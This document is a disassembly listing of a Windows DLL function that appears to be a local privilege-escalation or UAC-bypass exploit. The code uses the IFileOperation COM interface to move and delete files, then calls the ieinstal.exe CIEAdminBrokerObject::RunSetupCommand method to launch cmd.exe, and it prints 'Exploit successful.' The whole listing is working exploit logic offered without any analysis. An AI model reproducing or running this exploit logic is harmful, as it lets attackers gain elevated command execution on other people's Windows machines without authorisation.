mov ecx, dword [eax]
push eax
call dword [ecx + 0x48]
mov esi, eax
test esi, esi
jns 0x10001dc4
mov ecx, dword [esp + 0x6c]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x68]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [esp + 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.IFileOperation::DeleteItem___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov eax, dword [esp + 0x50]
push 0
push 0
push dword [esp + 0x74]
mov ecx, dword [eax]
push dword [esp + 0x70]
push eax
call dword [ecx + 0x38]
mov esi, eax
test esi, esi
jns 0x10001e73
mov ecx, dword [esp + 0x6c]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x68]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [esp + 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.IFileOperation::MoveItem___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov ecx, dword [esp + 0x6c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x68]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, dword [esp + 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
jns 0x10001f12
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.IFileOperation::PerformOperations___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push ecx
push str.cmd.exe
lea ecx, [esp + 0x94]
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
call fcn.10002250
cmp dword [esp + 0x9c], eax
lea ecx, [esp + 0x8c]
cmovb eax, dword [esp + 0x9c]
cmp dword [esp + 0xa0], 8
push eax
cmovae ecx, dword [esp + 0x90]
push ecx
lea ecx, [esp + 0x40]
call fcn.10002760
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x90]
call fcn.100023a0
mov ecx, dword [esp + 0x4c]
cmp ecx, 8
jb 0x10001fba
mov edx, dword [esp + 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001fb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.10002a06
add esp, 8
cmp dword [esp + 0xa0], 8
lea eax, [esp + 0x8c]
cmovae eax, dword [esp + 0x8c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edx, dword [esp + 0x58]
mov esi, eax
mov ecx, edx
mov dword [esp + 0x18], esi
mov dword [esp + 0xbc], 0
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 0
lea eax, [ecx + 2]
mov dword [esp + 0x10], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10002010
sub ecx, dword [esp + 0x10]
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0xc4]
call fcn.10002760
push dword [esp + 0x14]
lea ecx, [esp + 0xc0]
call fcn.10002320
push dword [esp + 0x58]
call ebx
cmp dword [esp + 0xd0], 8
lea eax, [esp + 0xbc]
cmovae eax, dword [esp + 0xbc]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0x60]
lea edi, [esp + 0x88]
push edi
push 0
push 0x10004eb4
push esi
push 0x10004eb4
push eax
mov dword [esp + 0x70], eax
mov edx, dword [ecx]
push 0
push dword [esp + 0x78]
call dword [edx + 0x10]
push dword [esp + 0x18]
mov esi, eax
call ebx
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov ecx, dword [esp + 0x60]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
call edi
cmp esi, 0x80070057
je 0x100020d4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.ieinstal.exe____CIEAdminBrokerObject::RunSetupCommand___did_not_return_the_expected_value__E_INVALIDARG_._n
call fcn.100024f0
mov ebx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0xe
push ebx
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x10004f90
call fcn.100024f0
push 0xf
push ebx
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x10004f94
call fcn.100024f0
push 0xe
push ebx
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x10004f98
call fcn.100024f0
push 0xe
push ebx
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str._Exploit_successful._n_n
call fcn.100024f0
push 7
push ebx
call esi
mov ecx, dword [esp + 0xd0]
cmp ecx, 8
jb 0x10002179
mov edx, dword [esp + 0xbc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000216f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.10002a06
add esp, 8
mov ecx, dword [esp + 0xa0]
xor eax, eax
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 7
mov word [esp + 0xbc], ax
cmp ecx, 8
jb 0x100021d7
mov edx, dword [esp + 0x8c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100021cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.10002a06
add esp, 8
mov ecx, dword [esp + 0xb8]
xor eax, eax
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 7
mov word [esp + 0x8c], ax
cmp ecx, 8
jb 0x1000223b
mov edx, dword [esp + 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002231
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002231
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002a06
add esp, 8
mov ecx, dword [esp + 0x54c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100029f8
mov esp, ebp
pop ebp
ret